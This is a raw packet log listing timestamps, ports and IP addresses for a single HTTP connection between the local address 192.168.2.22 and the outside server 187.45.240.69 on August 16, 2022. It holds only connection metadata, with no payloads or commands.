Aug 16, 2022 11:50:12.023837090 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023848057 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.023863077 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023886919 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.023936033 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.023969889 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024056911 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024132013 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024138927 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024152040 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024162054 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024166107 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024188042 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024195910 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024214983 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024240017 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024250031 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024264097 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024269104 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024291039 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024316072 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024323940 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024342060 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024346113 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024367094 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024391890 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024403095 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024418116 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024426937 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024442911 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024468899 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024477959 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024494886 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024499893 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024518967 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024544954 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024552107 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024571896 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024579048 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024599075 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024625063 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024636984 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024651051 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024657965 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024677992 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024703979 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024715900 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024729013 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024736881 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024755955 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024756908 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024782896 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024784088 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024794102 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024806976 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024816036 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024832964 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024842024 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024857044 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024863005 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024883986 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024908066 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024919033 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024934053 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024940014 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.024960041 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024985075 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.024998903 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025008917 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025011063 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025038004 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025042057 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025053978 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025079966 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025091887 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025116920 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025142908 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025151014 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025167942 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025170088 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025186062 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025194883 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025198936 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025219917 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025228024 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025244951 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025269985 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025278091 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025296926 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025321007 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025331974 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025346041 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025351048 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025372028 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025379896 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025396109 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025434017 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025537014 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025578976 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025578976 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025623083 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025648117 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025662899 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025672913 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025691032 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025716066 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025741100 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025751114 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025769949 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025805950 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025811911 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025836945 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025861979 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025871992 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025888920 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025895119 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025913954 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025939941 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025949955 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025964975 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.025964975 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.025991917 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026016951 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026026011 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026041985 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026067972 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026076078 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026093006 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026117086 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026124954 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026141882 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026145935 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026168108 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026192904 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026218891 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026222944 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026240110 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026242971 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026257992 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026268959 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026269913 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026294947 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026309013 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026320934 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026336908 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026361942 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026386976 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026396036 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026412010 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026437044 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026447058 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026460886 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026468992 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026488066 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026511908 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026520967 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026537895 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026562929 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026571989 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026587963 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026592970 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026614904 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026639938 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026648045 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026665926 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026690960 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026698112 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026717901 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026741982 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026751995 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026768923 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026808977 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026851892 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026876926 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026901960 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026912928 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026927948 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026953936 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.026962042 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.026978970 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027004957 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027012110 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.027029991 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027054071 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027064085 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.027077913 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027084112 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.027106047 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027132034 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027158976 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027169943 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.027185917 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027192116 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.027213097 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027231932 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.027239084 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027246952 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.027265072 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027288914 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027299881 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.027313948 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027319908 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.027339935 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027390957 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.027492046 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027518988 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027545929 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027570009 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.027571917 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027580976 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.027595997 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.027599096 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027626038 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027651072 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027667046 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.027677059 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027678967 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.027704000 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027728081 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027735949 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.027755022 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027780056 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027790070 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.027805090 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.027805090 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027832985 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027857065 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027867079 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.027880907 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027888060 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.027906895 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027932882 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027940989 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.027959108 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027985096 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.027992010 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028009892 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028012991 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028036118 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028059959 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028069019 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028084993 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028109074 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028131008 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028132915 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028148890 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028151989 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028157949 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028161049 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028182030 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028189898 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028207064 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028233051 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028240919 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028259993 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028284073 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028287888 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028301001 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028309107 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028315067 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028332949 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028367043 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028383970 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028409004 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028434992 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028444052 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028460026 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028464079 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028486013 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028512955 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028522015 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028537989 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028546095 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028563023 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028589010 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028597116 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028613091 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028637886 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028646946 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028662920 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028671026 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028687954 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028696060 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028713942 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028738022 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028748989 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028764009 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028765917 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028790951 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028810978 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028815031 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028840065 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028848886 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028862953 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028863907 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028878927 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028888941 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028892994 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028913975 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028939009 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028948069 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.028964043 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028990030 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.028995991 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029014111 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029038906 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029047966 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029063940 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029068947 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029088020 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029114008 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029129028 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029139996 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029218912 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029244900 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029269934 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029282093 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029295921 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029305935 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029340029 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029356956 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029372931 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029383898 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029409885 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029436111 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029462099 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029479980 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029485941 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029499054 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029512882 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029514074 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029537916 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029547930 CEST	49203	80	192.168.2.22	187.45.240.69
